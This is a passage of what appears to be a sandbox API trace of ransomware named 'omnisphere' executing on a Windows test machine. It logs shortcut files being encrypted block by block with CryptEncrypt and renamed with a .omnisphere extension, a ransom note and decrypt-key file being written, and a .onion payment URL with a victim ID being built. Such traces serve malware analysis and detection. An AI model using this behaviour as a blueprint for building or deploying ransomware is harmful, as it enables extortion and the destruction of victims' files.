pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.012] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.012] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0120.012] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x391, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.012] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.013] GetProcessHeap () returned 0x1600000 [0120.013] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16bc848 [0120.013] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dvunw7gjn9ghs7bx0zm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dvunw7gjn9ghs7bx0zm.lnk.omnisphere")) returned 1 [0120.013] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk.omnisphere.id" [0120.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dvunw7gjn9ghs7bx0zm.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.014] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.015] CloseHandle (hObject=0x3c0) returned 1 [0120.015] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.015] CloseHandle (hObject=0x288) returned 1 [0120.016] SetEndOfFile (hFile=0x28c) returned 1 [0120.016] FlushFileBuffers (hFile=0x28c) returned 1 [0120.078] CloseHandle (hObject=0x28c) returned 1 [0120.078] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DVuNw7GJn9GhS7bX0zM.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.078] GetProcessHeap () returned 0x1600000 [0120.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c0af0 [0120.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.078] GetProcessHeap () returned 0x1600000 [0120.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1e88 [0120.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1e88, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.078] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.078] GetProcessHeap () returned 0x1600000 [0120.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afda8 [0120.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afda8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.078] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.078] GetProcessHeap () returned 0x1600000 [0120.078] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16beb18 [0120.079] PathCombineW (in: pszDest=0x16beb18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.079] GetProcessHeap () returned 0x1600000 [0120.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c3e78 [0120.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.080] WriteFile (in: hFile=0x28c, lpBuffer=0x16c3e78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c3e78*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.080] CloseHandle (hObject=0x28c) returned 1 [0120.080] GetProcessHeap () returned 0x1600000 [0120.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0af0 | out: hHeap=0x1600000) returned 1 [0120.080] GetProcessHeap () returned 0x1600000 [0120.080] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.080] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.081] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.081] CloseHandle (hObject=0x28c) returned 1 [0120.081] GetProcessHeap () returned 0x1600000 [0120.081] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.081] GetProcessHeap () returned 0x1600000 [0120.081] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bfd10 | out: hHeap=0x1600000) returned 1 [0120.081] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae94d9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dae94d9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1db0f61a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4a6, dwReserved0=0x0, dwReserved1=0xd3, cFileName="DXa z4w0x7shtSYiLt.lnk", cAlternateFileName="DXAZ4W~1.LNK")) returned 1 [0120.081] GetProcessHeap () returned 0x1600000 [0120.081] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16bec88 [0120.081] PathCombineW (in: pszDest=0x16bec88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="DXa z4w0x7shtSYiLt.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk" [0120.081] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DXa z4w0x7shtSYiLt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dxa z4w0x7shtsyilt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.082] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1190) returned 1 [0120.082] GetTickCount () returned 0x115e00c [0120.082] GetTickCount () returned 0x115e00c [0120.082] GetTickCount () returned 0x115e00c [0120.082] GetTickCount () returned 0x115e00c [0120.082] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.083] GetTickCount () returned 0x115e00c [0120.084] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0120.084] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.084] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.085] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.085] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.085] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a6, lpName=0x0) returned 0x288 [0120.085] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a6) returned 0x1480000 [0120.085] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0120.086] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.086] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.086] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.086] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.086] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.086] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.086] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.087] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.088] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.089] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 